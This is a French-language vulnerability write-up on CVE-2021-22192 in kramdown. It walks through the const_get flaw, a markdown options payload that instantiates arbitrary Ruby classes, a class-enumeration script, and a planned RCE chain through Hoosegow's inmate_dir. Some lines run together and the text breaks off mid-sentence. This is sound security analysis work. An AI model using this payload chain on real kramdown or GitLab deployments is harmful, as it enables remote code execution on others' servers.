
CVE-2021-22192
En commençant à analyser ce bug, je ne disposais que de quelques précieuses informations de lyy289065406 qui m'ont permis de comprendre le cœur du problème. On dirait que le bug se trouve du côté de la gem kramdown (<= 2.3.0), j'ai donc commencé par me pencher sur kramdown.
On peut examiner le correctif de kramdown, et on voit une différence dans la fonction formatter_class du module Kramdown::Converter::SyntaxHighlighter::Rouge
::Rouge::Formatters.const_get(formatter) s'est transformé en ::Rouge::Formatters.const_get(formatter, false)
La fonction const_get est héritée de la classe Object, elle peut récupérer les constantes. Elle peut même renvoyer les classes déjà déclarées qu'elle trouve. La seule différence ici est l'ajout du paramètre false. L'ajout de ce paramètre false empêche const_get de récupérer les constantes de la classe parente ou des modules.
Encore plus intéressant : dans la fonction self.call, formatter_class est appelée puis new(opts) est appelé. Cela signifie que la méthode récupérée via const_get verra son constructeur appelé pour l'initialisation.
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
En nous appuyant sur Kramdown:Options, on peut appeler la fonction Kramdown::Converter::SyntaxHighlighter::Rouge.call
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
On voit également que dans le module Kramdown:Options, la fonction simple_hash_validator appelle YAML.safe_load(val). On peut donc configurer un fichier YML pour envoyer le payload souhaité à Kramdown::Converter::SyntaxHighlighter::Rouge
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.safe_load(val)
rescue RuntimeError, ArgumentError, SyntaxError
raise Kramdown::Error, "Invalid YAML value for option #{name}"
end
end
raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
val
end
D'abord, il faut mettre en place Jekyll :
gem install jekyll
jekyll new jekyllTest
Gemfile.lock pour ramener la version de kramdown à <= 2.3.0cd jekyllTest
Fichier Gemfile.lock
...
kramdown (2.3.0)
...
bundle install
Voilà, nous avons fini de créer une page Jekyll. Maintenant, on peut injecter un payload pour voir si Kramdown::Converter::SyntaxHighlighter::Rouge.call est réellement capable d'appeler une méthode.
On peut l'ajouter dans le fichier ./_config.yml
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
Ou utiliser un document kramdown en ajoutant le payload dans ./_posts/*.markdown
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Ici, j'utilise la deuxième méthode =)))))))
bundle exec jekyll serve
vous pouvez rencontrer l'erreur "require': cannot load such file -- webrick (LoadError)", il faut ajouter gem "webrick" au Gemfile
private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep:. Cela prouve que la classe CSV a bien été appelée.D'après un article d'analyse CVE-2020-10518 qui utilise le bug de kramdown pour provoquer une RCE sur GitHub, je cible la classe Hoosegow :
initialize de Hoosegow, load_inmate_methods est appelédef initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods, on voit qu'elle appelle require inmate_file def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
raise Hoosegow::InmateImportError,
"inmate file doesn't define Hoosegow::Inmate"
end
if no_proxy?
self.extend Hoosegow::Inmate
else
inmate_methods = Hoosegow::Inmate.instance_methods
inmate_methods.each do |name|
define_singleton_method name do |*args, &block|
proxy_send name, args, &block
end
end
end
end
Or inmate_file est créé en concaténant @inmate_dir avec 'inmate.rb'. Si on peut appeler cette classe et modifier le paramètre inmate_dir pour pointer vers le chemin de notre fichier payload, alors ne se produirait-il pas une RCE ici ?
J'exécute un script dans le chemin de la page Jekyll pour vérifier les méthodes déjà définies :
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
ob.name == "Hoosegow"require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow" }
...
gem "hoosegow" au Gemfile et le script trouve cette classe. [Hé hé hé]Hoosegow avec kramdown pour voir